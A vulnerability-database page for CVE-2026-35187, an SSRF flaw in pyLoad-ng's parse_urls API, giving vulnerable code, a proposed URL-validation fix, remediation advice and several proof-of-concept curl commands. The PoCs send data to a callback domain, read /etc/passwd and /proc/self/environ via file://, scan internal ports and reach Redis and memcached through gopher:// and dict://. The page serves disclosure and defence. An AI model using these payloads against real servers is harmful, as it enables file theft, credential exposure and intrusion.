Skip to main content

Python CVE-2026-35187

HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-04-04 https://github.com/pyload/pyload GHSA-2wvg-62qm-gj33
7.7
CVSS 3.1 · Vendor: https://github.com/pyload/pyload
Share

Severity by source

Vendor (https://github.com/pyload/pyload) PRIMARY
7.7 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Primary rating from Vendor (https://github.com/pyload/pyload) · only source for this CVE.

CVSS VectorVendor: https://github.com/pyload/pyload

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

3
Re-analysis Queued
Apr 20, 2026 - 17:07 vuln.today
cvss_changed
Analysis Generated
Apr 04, 2026 - 04:30 vuln.today
CVE Published
Apr 04, 2026 - 04:18 nvd
HIGH 7.7

DescriptionCVE.org

Vulnerability Details

CWE-918: Server-Side Request Forgery (SSRF)

The parse_urls API function in src/pyload/core/api/__init__.py (line 556) fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:

  • Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
  • Read local files via file:// protocol (pycurl reads the file server-side)
  • Interact with internal services via gopher:// and dict:// protocols
  • Enumerate file existence via error-based oracle (error 37 vs empty response)

Vulnerable Code

src/pyload/core/api/__init__.py (line 556):

python
def parse_urls(self, html=None, url=None):
    if url:
        page = get_url(url)
# NO protocol restriction, NO URL validation, NO IP blacklist
        urls.update(RE_URLMATCH.findall(page))

No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.

Steps to Reproduce

Setup

bash
docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest

Log in as any user with ADD permission and extract the CSRF token:

bash
CSRF=

PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)

bash
curl -s -b "pyload_session_8000=<SESSION>"   -H "X-CSRFToken: "   -H "Content-Type: application/x-www-form-urlencoded"   -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc"   http://localhost:8084/api/parse_urls

Result: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.

PoC 2: Local file read via file:// protocol

bash
# Reading /etc/passwd (file exists) -> empty response (no error)
curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls
# Response: {}
# Reading nonexistent file -> pycurl error 37
curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls
# Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}

The difference confirms pycurl successfully reads local files. While parse_urls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.

Files confirmed readable:

  • /etc/passwd, /etc/hosts
  • /proc/self/environ (process environment variables)
  • /config/settings/pyload.cfg (pyLoad configuration)
  • /config/data/pyload.db (SQLite database)

PoC 3: Internal port scanning

bash
curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls
# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')

PoC 4: gopher:// and dict:// protocol support

bash
curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls
curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls

Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).

Impact

An authenticated user with ADD permission can:

  • Read local files via file:// protocol (configuration, credentials, database files)
  • Enumerate file existence via error-based oracle (Couldn't open file vs empty response)
  • Access cloud metadata endpoints (AWS IAM credentials at http://169.254.169.254/, GCP service tokens)
  • Scan internal network services and ports via error-based timing
  • Interact with internal services via gopher:// (Redis RCE, SMTP relay) and dict://
  • Exfiltrate data via DNS/HTTP to attacker-controlled servers

The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.

Proposed Fix

Restrict allowed protocols and validate target addresses:

python
from urllib.parse import urlparse
import ipaddress
import socket

def _is_safe_url(url):
    parsed = urlparse(url)
    if parsed.scheme not in ('http', 'https'):
        return False
    hostname = parsed.hostname
    if not hostname:
        return False
    try:
        for info in socket.getaddrinfo(hostname, None):
            ip = ipaddress.ip_address(info[4][0])
            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
                return False
    except (socket.gaierror, ValueError):
        return False
    return True

def parse_urls(self, html=None, url=None):
    if url:
        if not _is_safe_url(url):
            raise ValueError("URL targets a restricted address or uses a disallowed protocol")
        page = get_url(url)
        urls.update(RE_URLMATCH.findall(page))

AnalysisAI

Server-Side Request Forgery in pyLoad-ng allows authenticated users with ADD permissions to read local files via file:// protocol, access internal network services, and exfiltrate cloud metadata. The parse_urls API endpoint fetches arbitrary URLs without protocol validation, enabling attackers to read /etc/passwd, configuration files, SQLite databases, and AWS/GCP metadata endpoints at 169.254.169.254. Error-based responses create a file existence oracle. Multi-protocol support (file://, gopher://, dict://) escalates impact beyond standard HTTP SSRF. CVSS 7.7 reflects network attack vector, low complexity, and scope change with high confidentiality impact. No public exploit code identified at time of analysis, though detailed proof-of-concept included in advisory demonstrates exploitation via curl commands against Docker deployments.

Technical ContextAI

PyLoad-ng is a Python-based download manager (distributed as pkg:pip/pyload-ng) that uses pycurl for HTTP operations. The vulnerability exists in src/pyload/core/api/__init__.py line 556, where the parse_urls function directly passes user-supplied URLs to get_url() without validation. PycURL's default configuration supports multiple protocols beyond HTTP/HTTPS, including file:// for local filesystem access, gopher:// for TCP stream manipulation, and dict:// for dictionary server queries. CWE-918 (Server-Side Request Forgery) occurs when applications fetch remote resources based on user input without validating destination addresses or allowed protocols. The lack of IP address filtering (private ranges, loopback, link-local) and protocol whitelisting allows attackers to bypass network segmentation. The function's error handling creates an oracle pattern where successful file reads return empty responses while nonexistent paths trigger pycurl error 37, enabling file enumeration without reading content directly.

RemediationAI

Apply vendor-released patch from the pyLoad project repository at https://github.com/pyload/pyload per security advisory GHSA-2wvg-62qm-gj33 available at https://github.com/pyload/pyload/security/advisories/GHSA-2wvg-62qm-gj33. The advisory includes a proposed fix implementing URL validation via _is_safe_url() function that restricts protocols to HTTP/HTTPS only and blocks private IP ranges (RFC1918), loopback addresses, link-local, and reserved ranges using Python's ipaddress module. Until patching, implement network-level controls to restrict outbound connections from pyLoad containers/servers, blocking access to metadata endpoints (169.254.169.254) and internal RFC1918 ranges via firewall rules. Review user permissions to limit ADD capability to trusted administrators only. For Docker deployments, update to patched linuxserver/pyload-ng image versions when available. Monitor server-side request logs for suspicious file://, gopher://, or dict:// protocol usage and requests to internal IP ranges.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Share

CVE-2026-35187 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy